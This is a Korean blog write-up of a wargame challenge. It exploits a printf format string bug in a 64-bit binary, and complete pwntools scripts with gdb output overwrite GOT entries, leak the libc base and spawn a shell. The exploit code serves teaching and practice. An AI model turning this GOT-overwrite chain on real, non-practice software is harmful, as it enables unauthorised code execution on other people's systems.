Format String Bug

#코딩노예#·2022년 11월 12일
0

System Hacking - ELF 64

목록 보기
5/5

문제 코드

// gcc -o fsb fsb.c -no -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main() {
        char buf[256];

        read(0, buf, 256);
        printf(buf);
        exit(0);

        return 0;
}
  • printf(buf)에서 포멧 스트링 버그가 발생합니다.


보호 기법

[*] '/home/ion/wargame/FSB/fsb_got'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX 보호 기법이 걸려있습니다.



익스플로잇 계획

NXASLR 방어기법이 걸려있기 때문에 libc base를 릭해서 system()/bin/sh를 구해야 하고 Got Overwrite를 통해 printf(buf)system("/bin/sh")로 변조하여 실행시켜야 합니다.

그럴려면 main() 함수에서 readprintf를 여러번 할 수 있어야 하는데, 이 문제는 exit() 함수의 gotmain함수의 주소로 덮어서 main()이 계속 실행되게 하면 해결할 수 있습니다.



익스플로잇 단계

[1] exit()를 main()으로 GOT Overwrite
[2] libc base leak 후 system()과 "/bin/sh" 주소 구하기
[3] printf()를 system()로 GOT Overwrite
[4] buf에 "/bin/sh\x00"를 입력으로 넣어서 printf("/bin/sh\x00") 실행 
    ⇛ system("/bin/sh")가 실행됨


오프셋 구하기

 ion  ~/wargame/FSB  ./fsb
AAAAAAAA %p %p %p %p %p %p %p %p %p %p
AAAAAAAA 0x7ffca12650d0 0x100 0x7f286230a031 0x7f28625e6d80 0x7f28625e6d80 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520702520

오프셋은 6입니다.



[1] exit( )를 main( )으로 GOT Overwrite

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'

p = process("./fsb")
e = ELF("./fsb")
libc = e.libc

#gdb.attach(p)

exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']


# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)


[2] libc base leak 후 system( )과 "/bin/sh" 주소 구하기

libc base leak

────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdf10 —▸ 0x4007e0 (__libc_csu_init) ◂— push   r15
01:0008│         0x7fffffffdf18 —▸ 0x7ffff7a03c87 (__libc_start_main+231) ◂— mov    edi, eax
02:0010│         0x7fffffffdf20 ◂— 0x1
03:0018│         0x7fffffffdf28 —▸ 0x7fffffffdff8 —▸ 0x7fffffffe271 ◂— '/home/ion/wargame/FSB/fsb'
04:0020│         0x7fffffffdf30 ◂— 0x100008000
05:0028│         0x7fffffffdf38 —▸ 0x40078f (main) ◂— push   rbp
06:0030│         0x7fffffffdf40 ◂— 0x0
07:0038│         0x7fffffffdf48 ◂— 0xca3d44a8a62d810f
──────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0         0x400793 main+4
   f 1   0x7ffff7a03c87 __libc_start_main+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

main()함수는 libc_start_main()함수에 의해서 호출됩니다.
그래서 main()함수의 ret에는 libc_start_main+231의 주소가 저장되어 있습니다.


libc_start_main+231이 어디 영역이 속하는지 봐보면

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/ion/wargame/FSB/fsb
          0x600000           0x601000 r--p     1000 0      /home/ion/wargame/FSB/fsb
          0x601000           0x602000 rw-p     1000 1000   /home/ion/wargame/FSB/fsb
    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0      [anon_7ffff7dcf]
    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fe8000     0x7ffff7fea000 rw-p     2000 0      [anon_7ffff7fe8]
    0x7ffff7ff7000     0x7ffff7ffb000 r--p     4000 0      [vvar]
    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]

libc영역에 속합니다. 그래서 포멧 스트링 버그를 이용해서 ret에 있는 libc_start_main+231의 값을 leak 하면 libc base를 구할 수 있습니다.


먼저 포멧 스트링 버그를 이용해서 ret 값을 leak 하려면 ret까지의 offset을 알아내야 합니다.

이때 주의해야할 점이 exit@gotmain으로 overwrite 된 후 다시 main으로 돌아와 libc base leak을 위한 페이로드를 입력 받을 때의 오프셋을 구해야 합니다.


gdb.attach(p) 기능을 이용해서 오프셋을 구해보면

# leak.py

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
context.bits = 64
context.log_level = 'debug'

p = process("./fsb")
e = ELF("./fsb")
libc = e.libc

gdb.attach(p)

exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']


# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)


# [2] libc base leak
payload = b'leak:%6$p'

pause()
p.sendline(payload)

p.interactive()

# 디버깅 창

pwndbg> finish
pwndbg> b * main+76
Breakpoint 1 at 0x4007db
# 터미널 창

 ion  ~/wargame/FSB  python3 leak.py
[+] Starting local process './fsb' argv=[b'./fsb'] : pid 1050
[*] '/home/ion/wargame/FSB/fsb'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] running in new terminal: ['/usr/bin/gdb', '-q', './fsb', '1050']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './fsb', '1050'], os.environ)
[DEBUG] Launching a new terminal: ['/mnt/c/WINDOWS/system32/cmd.exe', '/c', 'start', 'bash.exe', '-c', '/tmp/tmpsbjkod9a']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x28 bytes:
    00000000  25 31 39 33  35 63 25 39  24 6c 6c 6e  25 31 37 37  │%193│5c%9│$lln│%177│
    00000010  63 25 31 30  24 68 68 6e  48 10 60 00  00 00 00 00  │c%10│$hhn│H·`·│····│
    00000020  4a 10 60 00  00 00 00 00                            │J·`·│····│
    00000028
[*] Paused (press any to continue)
[DEBUG] Sent 0xa bytes:
    b'leak:%6$p\n'
[*] Switching to interactive mode
$

# 디버깅 창

pwndbg> c
pwndbg> c
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► f 0         0x4007db main+76
   f 1         0x4007e0 __libc_csu_init
   f 2   0x7f5cb4221c87 __libc_start_main+231
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

64bit 환경에서 스택 한 칸은 8Bytes이기 때문에, 오프셋은 (ret - rsp) / 8 + 6이 됩니다.


# 디버깅 창

pwndbg> retaddr
0x7ffc8a82ca18 —▸ 0x4007e0 (__libc_csu_init) ◂— push   r15
0x7ffc8a82cb10 —▸ 0x4007e0 (__libc_csu_init) ◂— push   r15
0x7ffc8a82cb30 —▸ 0x4007e0 (__libc_csu_init) ◂— push   r15
0x7ffc8a82cb38 —▸ 0x7f5cb4221c87 (__libc_start_main+231) ◂— mov    edi, eax
0x7ffc8a82cbf8 —▸ 0x40065a (_start+42) ◂— hlt
pwndbg> p $rsp
$2 = (void *) 0x7ffc8a82c900
pwndbg> p (0x7ffc8a82cb38-0x7ffc8a82c900) / 8 + 6
$3 = 77

offset은 77입니다.


system( )과 "/bin/sh" 주소 구하기

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'

p = process("./fsb")
e = ELF("./fsb")
libc = e.libc

#gdb.attach(p)

exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']


# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)


# [2] libc base leak
payload = b'leak:%77$p'

pause()
p.sendline(payload)

p.recvuntil("leak:")
leak = int(p.recv(14), 16)
lb = leak - libc_start_main - 231
system = lb + system_offset

slog("leak", leak)
slog("libc base", lb)
slog("system", system)


[3] printf( )를 system( )로 GOT Overwrite

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'

p = process("./fsb")
e = ELF("./fsb")
libc = e.libc

#gdb.attach(p)

exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']


# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)


# [2] libc base leak
payload = b'leak:%77$p'

pause()
p.sendline(payload)

p.recvuntil("leak:")
leak = int(p.recv(14), 16)
lb = leak - libc_start_main - 231
system = lb + system_offset

slog("leak", leak)
slog("libc base", lb)
slog("system", system)


# [3] printf@got -> system
payload = fmtstr_payload(6, {printf_got:system})
p.send(payload)


[4] printf(buf) ⇾ system("/bin/sh")

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
context.bits = 64
#context.log_level = 'debug'

p = process("./fsb")
e = ELF("./fsb")
libc = e.libc

#gdb.attach(p)

exit_got = e.got['exit']
printf_got = e.got['printf']
main = e.symbols['main']
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
libc_start_main = libc.symbols['__libc_start_main']


# [1] exit@got -> main
payload = fmtstr_payload(6, {exit_got:main})
p.send(payload)


# [2] libc base leak
payload = b'leak:%77$p'

pause()
p.sendline(payload)

p.recvuntil("leak:")
leak = int(p.recv(14), 16)
lb = leak - libc_start_main - 231
system = lb + system_offset

slog("leak", leak)
slog("libc base", lb)
slog("system", system)


# [3] printf@got -> system
payload = fmtstr_payload(6, {printf_got:system})
p.send(payload)


# [4] printf(buf) -> system("/bin/sh\x00")
p.send(b"/bin/sh\x00")

p.interactive()


익스플로잇

 ion  ~/wargame/FSB  python3 exploit.py
[+] Starting local process './fsb': pid 1167
[*] '/home/ion/wargame/FSB/fsb'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Paused (press any to continue)
[+] leak: 0x7f2c04574c87
[+] libc base: 0x7f2c04553000
[+] system: 0x7f2c045a2420
[*] Switching to interactive mode

                               \x10  \x00      1                                                                                  \x00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      
                                                                $
sh: 2: \xe9\xb5,\x7f: not found
$ ls
exploit.py  fsb  fsb.c    leak.py

0개의 댓글